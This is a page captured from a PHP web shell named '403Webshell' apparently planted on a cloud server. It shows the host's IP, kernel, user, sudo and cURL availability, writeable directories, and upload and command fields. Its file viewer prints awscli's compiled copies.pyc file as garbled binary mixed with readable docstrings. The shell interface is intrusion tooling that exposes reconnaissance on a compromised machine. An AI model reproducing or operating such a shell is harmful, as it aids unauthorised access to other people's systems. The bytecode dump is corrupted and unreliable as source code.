403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3.9/site-packages/awscli/s3transfer/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/awscli/s3transfer/__pycache__/copies.cpython-39.pyc
a

yA�i~<�@s�ddlZddlZddlmZddlmZddlmZmZm	Z	m
Z
ddlmZm
Z
mZmZGdd�de	�ZGdd	�d	e
�ZGd
d�de
�ZdS)�N)�ClientError)�S3CopyFailedError)�CompleteMultipartUploadTask�CreateMultipartUploadTask�SubmissionTask�Task)�ChunksizeAdjuster�calculate_range_parameter�
get_callbacks�get_filtered_dictc
@sxeZdZdZdddddddd	d
d�	Zgd�Zgd
�Zgd�Zdd�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
dd�ZdS)�CopySubmissionTaskz+Task for submitting tasks to execute a copyZIfMatchZIfModifiedSince�IfNoneMatchZIfUnmodifiedSince�SSECustomerKey�SSECustomerAlgorithm�SSECustomerKeyMD5�RequestPayer�ExpectedBucketOwner)	�CopySourceIfMatch�CopySourceIfModifiedSince�CopySourceIfNoneMatch�CopySourceIfUnmodifiedSince�CopySourceSSECustomerKey�CopySourceSSECustomerAlgorithm�CopySourceSSECustomerKeyMD5rr)rrrrrrrrrrrr)
rrrrrrrZMetadataDirectiveZTaggingDirectiver
)rrrrrr
cCs�|jjdus|jjdur�|jj}|�|j�}|j}|��D] \}	}
|	|jvr:|
||j|	<q:|j	j
fi|��}|j�|d�|j�|�
d��|jj|jkr�|�|||||�n|�|||||�dS)a�
        :param client: The client associated with the transfer manager

        :type config: s3transfer.manager.TransferConfig
        :param config: The transfer config associated with the transfer
            manager

        :type osutil: s3transfer.utils.OSUtil
        :param osutil: The os utility associated to the transfer manager

        :type request_executor: s3transfer.futures.BoundedExecutor
        :param request_executor: The request executor associated with the
            transfer manager

        :type transfer_future: s3transfer.futures.TransferFuture
        :param transfer_future: The transfer future associated with the
            transfer request that tasks are being submitted for
        NZ
ContentLength�ETag)�meta�size�etag�	call_args�)_get_head_object_request_from_copy_source�copy_source�
extra_args�items�EXTRA_ARGS_TO_HEAD_ARGS_MAPPINGZ
source_clientZhead_objectZprovide_transfer_sizeZprovide_object_etag�getZmultipart_threshold�_submit_copy_request�_submit_multipart_request)�self�client�config�osutil�request_executor�transfer_futurerZhead_object_requestr!�param�value�response�r0�</usr/lib/python3.9/site-packages/awscli/s3transfer/copies.py�_submitUs<
�
�	��
��
��
�
�zCopySubmissionTask._submitc
CsL|jj}t|d�}|j�|t|j||j|j|j|j	||jj
d�dd��dS)N�progress)r(r �bucket�keyr!�	callbacksrT)�transfer_coordinator�main_kwargs�is_final)rrr
�_transfer_coordinator�submit�CopyObjectTaskr r4r5r!r)r'r(r)r*r+r,r�progress_callbacksr0r0r1r%�s"
�	��z'CopySubmissionTask._submit_copy_requestcCs�|jj}i}|j��D]\}}	||jvr|	||<q|j�|t|j||j|j	|d�d��}
|j
}t�}|�||jj
�}tt�|jj
t|���}
g}t|d�}td|
d�D]�}|�|j�}t||d|
|jj
�|d<|jjdur�|jj|d<|�||d|
|jj
�}|j�d�}|�|j�|t|j||j|j|j	|||||d�	d	|
id
���q�|�|j�}|j�|t|j||j|j	|d�|
|d�dd
��dS)N)r(r4r5r!)r7r8r3�ZCopySourceRangerZChecksumAlgorithm)	r(r r4r5�part_numberr!r6r�checksum_algorithm�	upload_id)r7r8�pending_main_kwargs)rA�partsT)r7r8rBr9)rrr!r"�CREATE_MULTIPART_ARGS_BLACKLISTr:r;rr4r5Zmultipart_chunksizerZadjust_chunksizer�int�mathZceil�floatr
�range�_extra_upload_part_argsr	r�_get_transfer_sizer$�append�CopyPartTaskr �_extra_complete_multipart_argsr)r'r(r)r*r+r,rZcreate_multipart_extra_argsr-�valZcreate_multipart_future�	part_sizeZadjuster�	num_partsZpart_futuresr=r?Zextra_part_argsrr@Zcomplete_multipart_extra_argsr0r0r1r&�s�

�����
��������������z,CopySubmissionTask._submit_multipart_requestcCs2t|t�rt�|�Std|�dt|��d���dS)NzLExpecting dictionary formatted: {"Bucket": bucket_name, "Key": key} but got z	 or type �.)�
isinstance�dict�copy�	TypeError�type)r'r r0r0r1r!s

���z<CopySubmissionTask._get_head_object_request_from_copy_sourcecCst||j�S�N)r�UPLOAD_PART_COPY_ARGS�r'r!r0r0r1rI+sz*CopySubmissionTask._extra_upload_part_argscCst||j�SrW)r�COMPLETE_MULTIPART_ARGSrYr0r0r1rM0sz1CopySubmissionTask._extra_complete_multipart_argscCs||dkr|||S|S)Nr>r0)r'rOZ
part_indexrPZtotal_transfer_sizer0r0r1rJ3sz%CopySubmissionTask._get_transfer_sizeN)�__name__�
__module__�__qualname__�__doc__r#rXrDrZr2r%r&rrIrMrJr0r0r0r1r s*�

Cp
rc@seZdZdZdd�ZdS)r<zTask to do a nonmultipart copyc	Cs0|jf|||d�|��|D]}||d�qdS)a�
        :param client: The client to use when calling PutObject
        :param copy_source: The CopySource parameter to use
        :param bucket: The name of the bucket to copy to
        :param key: The name of the key to copy to
        :param extra_args: A dictionary of any extra arguments that may be
            used in the upload.
        :param callbacks: List of callbacks to call after copy
        :param size: The size of the transfer. This value is passed into
            the callbacks

        )�
CopySource�Bucket�Key�Zbytes_transferredN)Zcopy_object)	r'r(r r4r5r!r6r�callbackr0r0r1�_main@s��zCopyObjectTask._mainN�r[r\r]r^rdr0r0r0r1r<=sr<c@seZdZdZddd�ZdS)rLz)Task to upload a part in a multipart copyNc
Cs�z |jf|||||d�|��}Wnjty�}zR|j�di��d�}
|d}|d}|
dkrttd|�d|�d	���n�WYd
}~n
d
}~00|D]}||	d�q�|dd
}||d�}|
r�d|
����}||dvr�|d|||<|S)a<
        :param client: The client to use when calling PutObject
        :param copy_source: The CopySource parameter to use
        :param bucket: The name of the bucket to upload to
        :param key: The name of the key to upload to
        :param upload_id: The id of the upload
        :param part_number: The number representing the part of the multipart
            upload
        :param extra_args: A dictionary of any extra arguments that may be
            used in the upload.
        :param callbacks: List of callbacks to call after copy part
        :param size: The size of the transfer. This value is passed into
            the callbacks
        :param checksum_algorithm: The algorithm that was used to create the multipart
            upload

        :rtype: dict
        :returns: A dictionary representing a part::

            {'Etag': etag_value, 'PartNumber': part_number}

            This value can be appended to a list to be used to complete
            the multipart upload. If a checksum is in the response,
            it will also be included.
        )r_r`raZUploadId�
PartNumber�ErrorZCoderar`ZPreconditionFailedzContents of stored object "z
" in bucket "z" did not match expected ETag.NrbZCopyPartResultr)rrfZChecksum)Zupload_part_copyrr/r$r�upper)r'r(r r4r5rAr?r!r6rr@r/�eZ
error_codeZsrc_keyZ
src_bucketrcrZ
part_metadataZchecksum_memberr0r0r1rdYs@&��
��
�zCopyPartTask._main)Nrer0r0r0r1rLVs
�rL)rTrFZbotocore.exceptionsrZs3transfer.exceptionsrZs3transfer.tasksrrrrZs3transfer.utilsrr	r
rrr<rLr0r0r0r1�<module>
s

Youez - 2016 - github.com/yon3zu
LinuXploit